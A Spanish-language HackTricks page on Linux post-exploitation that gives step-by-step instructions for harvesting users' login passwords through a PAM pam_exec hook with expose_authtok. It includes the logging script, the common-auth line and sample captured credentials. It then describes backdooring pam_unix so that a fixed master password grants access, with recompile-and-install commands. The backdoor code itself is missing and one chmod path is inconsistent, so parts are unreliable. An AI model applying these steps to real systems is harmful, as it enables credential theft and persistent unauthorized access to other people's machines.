.. | ||
pam-pluggable-authentication-modules.md | ||
README.md |
Post-Explotación en Linux
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el swag oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Capturando Contraseñas de Inicio de Sesión con PAM
Configuraremos un módulo PAM para registrar cada contraseña que cada usuario utilice para iniciar sesión. Si no sabes qué es PAM, consulta:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
Primero, creamos un script bash que se invocará cada vez que ocurra una nueva autenticación.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
Las variables son específicas de PAM y estarán disponibles a través del módulo pam_exec.so
.
Aquí está el significado de las variables:
- $PAM_USER: El nombre de usuario que se ingresó.
- $PAM_RHOST: El host remoto (típicamente la dirección IP)
- $(cat -): Esto lee
stdin
, y contendrá la contraseña que el script captura - Los resultados se redirigen a un archivo de registro en
/var/log/toomanysecrets.log
Para evitar que todos los usuarios lean el archivo, considere crearlo previamente y ejecutar chmod
, por ejemplo:
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
A continuación, es necesario actualizar el archivo de configuración PAM, se utilizará el módulo pam_exec
para invocar el script.
Existen varios archivos de configuración ubicados en /etc/pam.d/
, y seleccionamos common-auth
.
sudo nano /etc/pam.d/common-auth
En la parte inferior del archivo, añade el siguiente módulo de autenticación:
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
Los significados de las opciones son los siguientes:
- optional: La autenticación no fallará si hay un error (no es un paso obligatorio)
- pam_exec.so: Este es el módulo PAM de "living off the land" que puede invocar scripts arbitrarios
- expose_authtok: Este es el truco que permite leer la contraseña a través de
stdin
- quiet: No mostrar errores al usuario (si algo no funciona)
- El último argumento es el script de shell que se creó previamente
Finalmente, haz que el archivo sea ejecutable:
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Ahora, probemos esto y hagamos ssh desde otra máquina, o inicia sesión localmente.
Y luego, revisa el archivo de registro:
$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Instalación de puertas traseras en PAM
Vamos a los fuentes de PAM (depende de tu distribución, toma el mismo número de versión que la tuya..) y busca alrededor de las líneas 170/180 en el archivo pam_unix_auth.c:
vi modules/pam_unix/pam_unix_auth.c
Cambiamos esto por:
Esto permitirá que cualquier usuario que use la contraseña "0xMitsurugi" pueda iniciar sesión.
Recompila el pam_unix_auth.c
y reemplaza el archivo pam_unix.so:
make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/
{% hint style="info" %} Puedes automatizar este proceso con https://github.com/zephrax/linux-pam-backdoor {% endhint %}
Referencias
- https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/
- https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.